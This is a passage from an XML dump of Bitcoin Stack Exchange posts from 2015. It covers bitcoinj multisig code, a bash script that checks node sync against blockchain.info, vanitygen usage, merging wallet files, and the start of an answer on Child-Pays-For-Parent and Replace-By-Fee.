LastActivityDate="2015-07-01T04:04:57.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38342" PostTypeId="1" CreationDate="2015-07-01T07:07:59.123" Score="2" ViewCount="156" Body="&lt;p&gt;In multisignature address contract, how to set multisigoutput while sending bitcoin back to the client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;byte[] bytes = Utils.HEX.decode(&quot;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&quot;);&#xA;spendTx.addInput(new TransactionInput(params, spendTx, bytes));&#xA;ByteArrayOutputStream scriptPubKeyBytes = new ByteArrayOutputStream();&#xA;Script.writeBytes(scriptPubKeyBytes, Utils.HEX.decode(&quot;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&quot;));&#xA;scriptPubKeyBytes.write(ScriptOpCodes.OP_CHECKSIG);&#xA;&#xA;spendTx.addOutput(new TransactionOutput(params, spendTx, value, scriptPubKeyBytes.toByteArray()));&#xA;&#xA;spendTx.addOutput(value, clientKey);&#xA;TransactionOutput multisigOutput = spendTx.getOutput(0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27079" LastActivityDate="2015-07-01T07:07:59.123" Title="Bitcoinj Multisignature Address" Tags="|bitcoinj|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38343" PostTypeId="1" CreationDate="2015-07-01T07:25:54.783" Score="-1" ViewCount="1076" Body="&lt;p&gt;I was wondering if there are any open source blockchain libs that I could use to build a project with?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATED&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I agree. With my knowledge of bitcoin now and blockchain - I should have phrased this question better. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am looking for is a pure blockchain implementation (lib) that can be used to implement anything I want on top of it, one implementation could be bitcoin.&#xA;This &quot;blockchain 2.0&quot; would not have the same limitations as blockchain today (hardcoded values, flexible message size, enhanced scripting language, etc..).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lots of startups, companies, etc... implement their own blockchain because the bitcoins'version has been designed for bitcoin - it has not been designed to deal with other business problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I hope you see what I mean. But now I understand that I have to either do a hardfork of &quot;bitcoin&quot; and strip out &quot;blockchain&quot; - or I can try to find this &quot;blockchain 2.0&quot; that - for example - bitcoin could fork and be based on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do not be too quick to mark down. If it would be obvious, I would not ask for it ;-)&lt;/p&gt;&#xA;" OwnerUserId="27168" LastEditorUserId="27168" LastEditDate="2015-12-07T10:04:11.133" LastActivityDate="2015-12-07T10:04:11.133" Title="Block Chain Library" Tags="|blockchain|library|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38344" PostTypeId="2" ParentId="37158" CreationDate="2015-07-01T08:03:54.537" Score="1" Body="&lt;p&gt;You might find our python-OP_RETURN library helpful, either to use out-of-the-box, or to look inside to see how we are building OP_RETURN transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/coinspark/python-OP_RETURN&quot; rel=&quot;nofollow&quot;&gt;https://github.com/coinspark/python-OP_RETURN&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also has a neat feature to store arbitrary-sized data in the blockchain using multiple chained transactions with OP_RETURNs, and to retrieve that data using a single 12-digit reference number.&lt;/p&gt;&#xA;" OwnerUserId="27169" LastActivityDate="2015-07-01T08:03:54.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38345" PostTypeId="2" ParentId="35958" CreationDate="2015-07-01T08:05:57.463" Score="0" Body="&lt;p&gt;You might find our python-OP_RETURN library helpful, either to use out-of-the-box, or to look inside to see how we are building OP_RETURN transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/coinspark/python-OP_RETURN&quot; rel=&quot;nofollow&quot;&gt;https://github.com/coinspark/python-OP_RETURN&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also has a neat feature to store arbitrary-sized data in the blockchain using multiple chained transactions with OP_RETURNs, and to retrieve that data using a single 12-digit reference number.&lt;/p&gt;&#xA;" OwnerUserId="27169" LastActivityDate="2015-07-01T08:05:57.463" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38346" PostTypeId="2" ParentId="38334" CreationDate="2015-07-01T08:55:10.540" Score="3" Body="&lt;p&gt;This could happen for two reasons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - You did not included tx fee in your transactions so the priority of your tx is lower than the ones which paid for transactions network fees. You can check this simply using your TX ID on a block explorer like &lt;a href=&quot;http://www.blockchain.info&quot; rel=&quot;nofollow&quot;&gt;www.blockchain.info&lt;/a&gt;. You will see which is the priority for your transaction and the status of it in real time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - The other reason could be that, as Murch suggested, the network has been over stressed for some reasons and this takes some txs to take more time to get confirmed. However this happens rarely and you should always check the first option before.&lt;/p&gt;&#xA;" OwnerUserId="27170" LastEditorUserId="2306" LastEditDate="2015-07-09T00:43:12.507" LastActivityDate="2015-07-09T00:43:12.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38347" PostTypeId="2" ParentId="9068" CreationDate="2015-07-01T09:03:08.080" Score="2" Body="&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; August 7 2015 ~ start&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after having an IP or two banned because of checking to often... so, I'll provide some options on how to avoid getting banned.&#xA;First don't use the script under this update; the variable expansion Bash preforms causes multiple calls to &lt;a href=&quot;https://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info&lt;/a&gt; in to short of a time frame. You can try adding &lt;code&gt;sleep 120&lt;/code&gt; between the assignment and calls but that would be very slow.&#xA;Second the key things are; Checking local count &lt;code&gt;$(bitcoin-cli getblockcount)&lt;/code&gt; and Checking a well known node &lt;code&gt;$(wget -q -O - http://blockchain.info/q/getblockcount)&lt;/code&gt; and Checking local sync state &lt;code&gt;$(bitcoin-cli getblocktemplate)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To combine the Blockchain from your node to another in one line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$($(wget -q -O - http://blockchain.info/q/getblockcount)-$(bitcoin-cli getblockcount))&#xA;# To print this with echo and date stamp&#xA;echo &quot;    $(date) : $($(wget -q -O - http://blockchain.info/q/getblockcount)-$(bitcoin-cli getblockcount))&quot;&#xA;# To redirect and exit with 0 : ie place in crontab&#xA;echo &quot;$($(wget -q -O - http://blockchain.info/q/getblockcount)-$(bitcoin-cli getblockcount))&quot; &amp;gt; /var/log/btc_blocks_left_to_sync.log 2&amp;gt;&amp;amp;1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last one above is likely the best for scripting as the file it saves to can be read for just the number inside or the last time it was modifide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; August 7 2015 ~ end&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed the correct function call is shown there, @BinaryMage, thank you.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;possible duplicate of When downloading the blockchain for the first time, how do I know when it's done? –  BinaryMage Apr 4 '13 at 0:50&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The person to show the correct function was @LoHoris, however, the updates to Bitcoin node software now uses &lt;code&gt;bitcoin-cli getblocktemplate&lt;/code&gt; and not &lt;code&gt;bitcoind&lt;/code&gt; for these lookups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to both of them it is possible to offer you all a combination of both answers wrapped into a checker script; ready for your customization and updated for the year 2015&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    #!/bin/bash&#xA;    timed_wait=600&#xA;    vars_to_load(){&#xA;        ## Set vars to function such that they are set upon every call&#xA;        localCheck=$(bitcoin-cli getblockcount)&#xA;        crossCheck=$(wget -q -O - http://blockchain.info/q/getblockcount)&#xA;        diffBlocks=$(($crossCheck-$localCheck))&#xA;        localSize=$(ls -hal ~/.bitcoin/blocks | awk '/total/{print $2}')&#xA;    }&#xA;    check_sync(){&#xA;        while true&#xA;        do&#xA;            current_time=$(date)&#xA;            echo $current_time&#xA;            bitcoin-cli getblocktemplate&#xA;            if [ $? = 0 ]&#xA;            then&#xA;                echo &quot;All synced up&quot;&#xA;            else&#xA;                echo &quot;Uh oh, running available checks&quot;&#xA;                ## call function that runs it all on a timer&#xA;                networked_sync&#xA;                echo &quot;Node has $localCheck of $crossCheck blocks available.&quot;&#xA;                echo &quot;Size of local blockchain is $localSize&quot;&#xA;            fi&#xA;            echo &quot;Sleeping for $timed_wait seconds or $(($timed_wait/60)) minuets.&quot;&#xA;            sleep $timed_wait&#xA;        done&#xA;    }&#xA;    networked_sync(){&#xA;        vars_to_load&#xA;        ## Function to print difference in node sync&#xA;        if [ $diffBlocks -eq 0 ]&#xA;        then&#xA;            echo &quot;Sync is good with $diffBlocks blocks off&quot;&#xA;        else&#xA;            echo &quot;Sync has $diffBlocks blocks left to download&quot;&#xA;        fi&#xA;    }&#xA;    check_sync&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This script first checks the exit status of &lt;code&gt;bitcoin-cli getblocktemplate&lt;/code&gt; because anything other than &lt;code&gt;0&lt;/code&gt; is usually an error it'll run the other parts only if &lt;code&gt;bitcoin-cli getblocktemplate&lt;/code&gt; shows an error. Of course it is possible to check for specific error codes instead and do things for specific error codes... but this works fine as a template for me when setting up BTC nodes in a headless environment.&#xA;The other checks then compare local block count verses &lt;a href=&quot;https://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info&lt;/a&gt; and prints out how many blocks your system is off. These only run when local check of sync status error out thus if you're on a slower like @Steven Roose mentioned then this script is ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default the wait time between checks is &lt;code&gt;600&lt;/code&gt; seconds (10 minuets) to keep network checks and local checks to a minimum, however, for logging and better resource management it is easy enough to comment out the &lt;code&gt;while&lt;/code&gt;, &lt;code&gt;do&lt;/code&gt;, and &lt;code&gt;done&lt;/code&gt; and &lt;code&gt;sleep $timed_wait&lt;/code&gt; lines. And add one line to crontab to accomplish running on a schedule. Last modify the very end of the script to write output to a file.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The function modified;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    check_sync(){&#xA;    #   while true&#xA;    #   do&#xA;            current_time=$(date)&#xA;            echo $current_time&#xA;            bitcoin-cli getblocktemplate&#xA;            if [ $? = 0 ]&#xA;            then&#xA;                echo &quot;All synced up&quot;&#xA;            else&#xA;                echo &quot;Uh oh, running available checks&quot;&#xA;                ## call function that runs it all on a timer&#xA;                networked_sync&#xA;                echo &quot;Node has $localCheck of $crossCheck blocks available.&quot;&#xA;                echo &quot;Size of local blockchain is $localSize&quot;&#xA;            fi&#xA;            echo &quot;Sleeping for $timed_wait seconds or $(($timed_wait/60)) minuets.&quot;&#xA;    #       sleep $timed_wait&#xA;    #   done&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And to run every 10 minuets&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    sudo nano /etc/crontab&#xA;        */10 *  * * *   root    /pathTo/script.sh 2&amp;gt;&amp;amp;1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to enable logging modify the call that starts every thing within the script;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    check_sync | tee -a /tmp/BTCsync_log.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully this is acceptable enough of an answer to mark this question as [Solved] such that future  web searchers can have an easier time of this. &lt;/p&gt;&#xA;" OwnerUserId="18794" LastEditorUserId="18794" LastEditDate="2015-08-08T03:58:18.437" LastActivityDate="2015-08-08T03:58:18.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38348" PostTypeId="2" ParentId="38297" CreationDate="2015-07-01T09:10:37.087" Score="-3" Body="&lt;p&gt;Try Do &lt;code&gt;invalidateblock&lt;/code&gt; then &lt;code&gt;reconsiderblock&lt;/code&gt; .&lt;/p&gt;&#xA;" OwnerUserId="27170" LastActivityDate="2015-07-01T09:10:37.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38349" PostTypeId="2" ParentId="3139" CreationDate="2015-07-01T09:17:03.087" Score="1" Body="&lt;p&gt;You can use something like VANITYGEN.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;Vanitygen is a command-line vanity bitcoin address generator.&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;If you're tired of the random, cryptic addresses generated by regular&#xA;  bitcoin clients, you can use vanitygen to create a more personalized&#xA;  address. Add unique flair when you tell people to send bitcoins to&#xA;  1stDownqyMHHqnDPRSfiZ5GXJ8Gk9dbjO. Alternatively, vanitygen can be&#xA;  used to generate random addresses offline.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Vanitygen accepts as input a pattern, or list of patterns to search&#xA;  for, and produces a list of addresses and private keys. Vanitygen's&#xA;  search is probabilistic, and the amount of time required to find a&#xA;  given pattern depends on how complex the pattern is, the speed of your&#xA;  computer, and whether you get lucky.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The example below illustrates a session of vanitygen. It is typical,&#xA;  and takes about 10 sec to finish, using a Core 2 Duo E6600 CPU on&#xA;  x86-64 Linux:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;$ ./vanitygen 1Boat Difficulty: 4476342 Pattern: 1Boat&lt;br&gt;&#xA;  Address: 1BoatSLRHtKNngkdXEeobR76b53LETtpyT Privkey:&#xA;  5J4XJRyLVgzbXEgh8VNi4qovLzxRftzMd8a18KkdXv4EqAwX3tS Vanitygen includes&#xA;  components to perform address searching on your CPU (vanitygen) and&#xA;  your OpenCL-compatible GPU (oclvanitygen). Both can be built from&#xA;  source, and both are included in the Windows binary package. Also&#xA;  included is oclvanityminer, the vanity address mining client.&#xA;  Oclvanityminer can be used to automatically claim bounties on sites&#xA;  such as ThePiachu's Vanity Pool.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Current version: 0.22&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Windows x86+x64 binaries here. PGP signature here.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Get the source from GitHub. Includes Makefiles for Linux and Mac OS X.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Main discussion at BitCoinTalk&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The latest source doesn't work properly for high-end AMD cards (7XXX&#xA;  and greater). Solution is to change line 459 in oclengine.c from:&#xA;  return quirks; to: return quirks &amp;amp; ~VG_OCL_AMD_BFI_INT; Windows&#xA;  x86+x64 binaries that solve this problem plus provide support for&#xA;  compressed keys here. PGP signature here. If you have any problems&#xA;  with the binaries, join the relevant BitCoinTalk discussion.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Proper syntax for VanityGen is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Usage: vanitygen [-vqrikNT] [-t &amp;lt;threads&amp;gt;] [-f &amp;lt;filename&amp;gt;|-] [&amp;lt;pattern&amp;gt;...]&#xA;Generates a bitcoin receiving address matching &amp;lt;pattern&amp;gt;, and outputs the&#xA;address and associated private key.  The private key may be stored in a safe&#xA;location or imported into a bitcoin client to spend any balance received on&#xA;the address.&#xA;By default, &amp;lt;pattern&amp;gt; is interpreted as an exact prefix.&#xA;&#xA;Options:&#xA;-v            Verbose output&#xA;-q            Quiet output&#xA;-r            Use regular expression match instead of prefix&#xA;              (Feasibility of expression is not checked)&#xA;-i            Case-insensitive prefix search&#xA;-k            Keep pattern and continue search after finding a match&#xA;-N            Generate namecoin address&#xA;-T            Generate bitcoin testnet address&#xA;-X &amp;lt;version&amp;gt;  Generate address with the given version&#xA;-t &amp;lt;threads&amp;gt;  Set number of worker threads (Default: number of CPUs)&#xA;-f &amp;lt;file&amp;gt;     File containing list of patterns, one per line&#xA;              (Use &quot;-&quot; as the file name for stdin)&#xA;-o &amp;lt;file&amp;gt;     Write pattern matches to &amp;lt;file&amp;gt;&#xA;-s &amp;lt;file&amp;gt;     Seed random number generator from &amp;lt;file&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The important options to know are -i and -r which cause the search to be case-insensitive and use regex, repsectively. In its simplest format, you issue a command like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;vanitygen.exe 1david&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which tells vanity gen to look for an address with the exact prefix &quot;1david.&quot; On a single core of my core i5 this runs at about 325,000 keys per second as shown by the status display (which does show a time estimation.):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[324.43 Kkey/s][total 15166208][Prob 0.1%][50% in 9.1h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the -i option drastically decreases generation time. vanitygen.exe -i 1david produced the following results in just a few seconds:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Difficulty: 36384905&#xA;Pattern: 1david&#xA;Address: 1DAVid3iW7XhDBzdoj8FbnaSaqWCjeTgUP&#xA;Privkey: 5JvtXtpUbwbNNqRoQjF3w2nyXHhphJk6LX1pWkPYEkBr4nnnBeL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The -r option allows the specification of a regex value instead of the default pattern option. If, for example, I demanded that my address contain all lowercase letters but I don't care if the &quot;D&quot; in &quot;David&quot; is uppercase or not, I could use vanitygen.exe -r 1[Dd]avid. One downside to specifying a regex prefix is that you will not be given any estimated time or probability data since such calculations are not as trivial as matching a simple prefix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more specific your matching criteria (and the longer the pattern) the longer it will take to generate your address(es). This can be sped up considerably if you have an ATI/AMD video card since there is also an OpenCL version of VanityGen which can try millions of keys per second on a decent GPU.&lt;/p&gt;&#xA;" OwnerUserId="27170" LastActivityDate="2015-07-01T09:17:03.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38350" PostTypeId="2" ParentId="4394" CreationDate="2015-07-01T09:22:24.950" Score="1" Body="&lt;p&gt;The &lt;code&gt;bitcoind&lt;/code&gt; command shows different errors now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new way to check is with &lt;code&gt;bitcoin-cli getblocktemplate&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scripted use has been posted where I first ran accross this question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9068/how-to-check-if-the-block-chain-is-up-to-date-using-bitcoind-or-json-rpc/38347#38347&quot;&gt;How to check if the block chain is up to date using bitcoind or json-rpc?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18794" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-07-01T09:22:24.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38351" PostTypeId="1" AcceptedAnswerId="38909" CreationDate="2015-07-01T09:28:27.847" Score="48" ViewCount="38386" Body="&lt;p&gt;Deterministically signing a Tx with RFC6979 returns &lt;code&gt;v, r, s&lt;/code&gt;, where &lt;code&gt;r&lt;/code&gt; and &lt;code&gt;s&lt;/code&gt; are the 2 values used in standard ECDSA signatures. &lt;code&gt;v = 27 + (y % 2)&lt;/code&gt;, so 27 + the parity of &lt;code&gt;r&lt;/code&gt;, &lt;a href=&quot;https://github.com/simcity4242/pybitcointools/blob/9f79e2aa967a5c10a5a8ba16030c9b6fe0388c0e/bitcoin/main.py#L541-L542&quot; rel=&quot;noreferrer&quot;&gt;as pybitcointools indicates&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for even &lt;code&gt;r&lt;/code&gt;, we get &lt;code&gt;v = 27&lt;/code&gt;, odd &lt;code&gt;r&lt;/code&gt; we get &lt;code&gt;v = 28&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is the value of &lt;code&gt;v&lt;/code&gt; (27 or 28) important? Why is it necessary to have a &lt;code&gt;v&lt;/code&gt; value? Also, why is it &lt;code&gt;27&lt;/code&gt;? &lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="101320" LastEditDate="2019-12-20T20:50:58.307" LastActivityDate="2022-02-18T16:46:20.997" Title="ECDSA: (v, r, s), what is v?" Tags="|signature|cryptography|ecdsa|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="38352" PostTypeId="1" CreationDate="2015-07-01T11:23:32.077" Score="0" ViewCount="118" Body="&lt;p&gt;here is the how bitcoin works under the hood article&#xA;&lt;a href=&quot;http://www.imponderablethings.com/2013/07/how-bitcoin-works-under-hood.html&quot; rel=&quot;nofollow&quot;&gt;http://www.imponderablethings.com/2013/07/how-bitcoin-works-under-hood.html&lt;/a&gt;&#xA;i did not got this why message is needed when using this verify function ?&#xA;1 =? v(message, public key, signature)&lt;/p&gt;&#xA;" OwnerUserId="27171" LastActivityDate="2015-07-03T04:44:28.690" Title="Why the message is need in verify function" Tags="|signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38354" PostTypeId="1" AcceptedAnswerId="38355" CreationDate="2015-07-01T14:06:12.660" Score="1" ViewCount="5213" Body="&lt;p&gt;This is very closely related to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10974/import-wallet-dat-into-a-new-bitcoin-qt-client&quot;&gt;Import wallet.dat into a new Bitcoin-Qt client&lt;/a&gt;, but I feel this is not a duplicate because the (great) answer to that Q is for only restoring one wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used Bitcoin-QT about a year back and had two separate wallets within it.  I have these backed up as two separate wallet.dat files.  After some computer wipe, I now need to restore the two wallets into the one Bitcoin-QT client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the prior Q, I have been able to import one of the wallets back into the Bitcoin-Qt client.  I now need to bring the other one in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I import a second backup into my existing account, without the need of sending my first wallets amount to a separate external wallet?&lt;/p&gt;&#xA;" OwnerUserId="12023" LastEditorUserId="5406" LastEditDate="2015-07-01T21:20:48.183" LastActivityDate="2015-07-01T21:20:48.183" Title="Import two wallet.dat into Bitcoin-Qt client" Tags="|bitcoin-core|backup|wallet-import|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38355" PostTypeId="2" ParentId="38354" CreationDate="2015-07-01T15:14:20.750" Score="2" Body="&lt;p&gt;There is (yet) no multi wallet support in bitcoin-core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to stop Bitcoin-Qt, replace your wallet.dat (rename the old one, place the new one) and start Bitcoin-Qt. If your wallet is really old, it will perform a rescan for new transactions and this can take some minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To merge your wallets:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open Console and enter &lt;code&gt;dumpwallet &amp;lt;filename&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Stop Bitcoin-Qt&lt;/li&gt;&#xA;&lt;li&gt;Replace wallet.dat with your new wallet file (move the current wallet.dat file to a save place)&lt;/li&gt;&#xA;&lt;li&gt;Start Bitcoin-Qt&lt;/li&gt;&#xA;&lt;li&gt;Open Console and enter &lt;code&gt;importwallet &amp;lt;filename&amp;gt;&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-07-01T15:14:20.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38356" PostTypeId="2" ParentId="4394" CreationDate="2015-07-01T16:39:19.237" Score="0" Body="&lt;p&gt;With only a Web browser, you can visit &lt;a href=&quot;http://bitcoinwatch.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinwatch.com/&lt;/a&gt; to discover the current Bitcoin Network's block height or count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or point your bitcoin-cli to a production Bitcoind server and issue the following command (note, the *.conf file should be the one you use instead):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;% ../bin/bitcoin-cli -conf=mainNet-productionServer.conf getblockcount&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way is to query all of your peer connections for numerous details that also includes the &quot;startingheight&quot; for each of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;% ../bin/bitcoin-cli -conf=mainNet-localServer.conf getpeerinfo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, the following libbitcoin-explorer command (bx, serves an analogous role as bitcoin-cli) provides only a single number when the bx client connects to a production &lt;a href=&quot;https://wiki.unsystem.net/en/index.php/Obelisk/Servers&quot; rel=&quot;nofollow&quot;&gt;bitcoin-server&lt;/a&gt; (previously called Obelisk) to query it for the Blockchain's height.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;% bx fetch-height&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the current height of your localServer that is being built try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;% ../bin/bitcoin-cli -conf=mainNet-localServer.conf getblockcount&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For contrasting purposes, the following bitcoin-cli help command provides additional details to for your local Blockchain image you are building:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;% ../bin/bitcoin-cli -conf=mainNet.conf help gettxoutsetinfo&#xA;gettxoutsetinfo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Returns statistics about the unspent transaction output set.&#xA;Note this call may take some time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&#xA;{&#xA;  &lt;strong&gt;&quot;height&quot;:n&lt;/strong&gt;,     (numeric) The current block height (index)&#xA;  &quot;bestblock&quot;: &quot;hex&quot;,   (string) the best block hash hex&#xA;  &quot;transactions&quot;: n,      (numeric) The number of transactions&#xA;  &quot;txouts&quot;: n,            (numeric) The number of output transactions&#xA;  &quot;bytes_serialized&quot;: n,  (numeric) The serialized size&#xA;  &quot;hash_serialized&quot;: &quot;hash&quot;,   (string) The serialized hash&#xA;  &quot;total_amount&quot;: x.xxx          (numeric) The total amount&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your blockchain is complete when the two numbers match. This approach will give you a good idea about your current status.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="10377" LastEditDate="2015-07-02T03:19:17.820" LastActivityDate="2015-07-02T03:19:17.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38357" PostTypeId="2" ParentId="38320" CreationDate="2015-07-01T18:41:39.730" Score="7" Body="&lt;p&gt;All three proposals attempt to solve the same problem, the issue of stuck transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the behavior of Bitcoin Core with respect to double spends (they are silently dropped, and not relayed), it is impossible to spend outputs that you've used in an existing transaction. Typically this is a good thing, but there are a few cases where a user may have created a malformed transaction (for example, accidentally setting 0 fees) that isn't acceptable or mine-able for various reasons, and it's desirable for them to be able to reissue a fixed transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is exacerbated by the undefined memory pool behavior of nodes with respect to expiring out old transactions, and not having a clear rule as to when it's safe to attempt another spend.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Child-Pays-For-Parent&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The Child-Pays-For-Parent approach allows the fees of a transaction's child (the transaction that spends the outputs of the stuck transaction) to also pay for the parent transaction. This allows a merchant to spend the &quot;broken&quot; transaction they received like any other transaction, and the system should return to a consistent state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The benefit of Child-Pays-For-Parent is that it solves the problem in a way that doesn't fundamentally change the mechanics for how a transaction is selected and kept (most notably, the first-seen memory pool behavior). In my opinion, this makes this solution the most intuitive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the difficulty with Child-Pays-For-Parent is in the implementation. There are some required changes to the propagation of transactions that are required to make this work properly (since just broadcasting a valid child will cause other nodes to consider the transaction as orphaned, without the context of the parent).&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Replace-By-Fee&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Replace-by-fee attempts to address the problem by changing the fundamental rule for accepting and keeping transactions, the &quot;first-seen&quot; rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this system, a transaction with higher fees can spend already spent inputs (that have not yet been confirmed in a block), and will replace that transaction in the memory 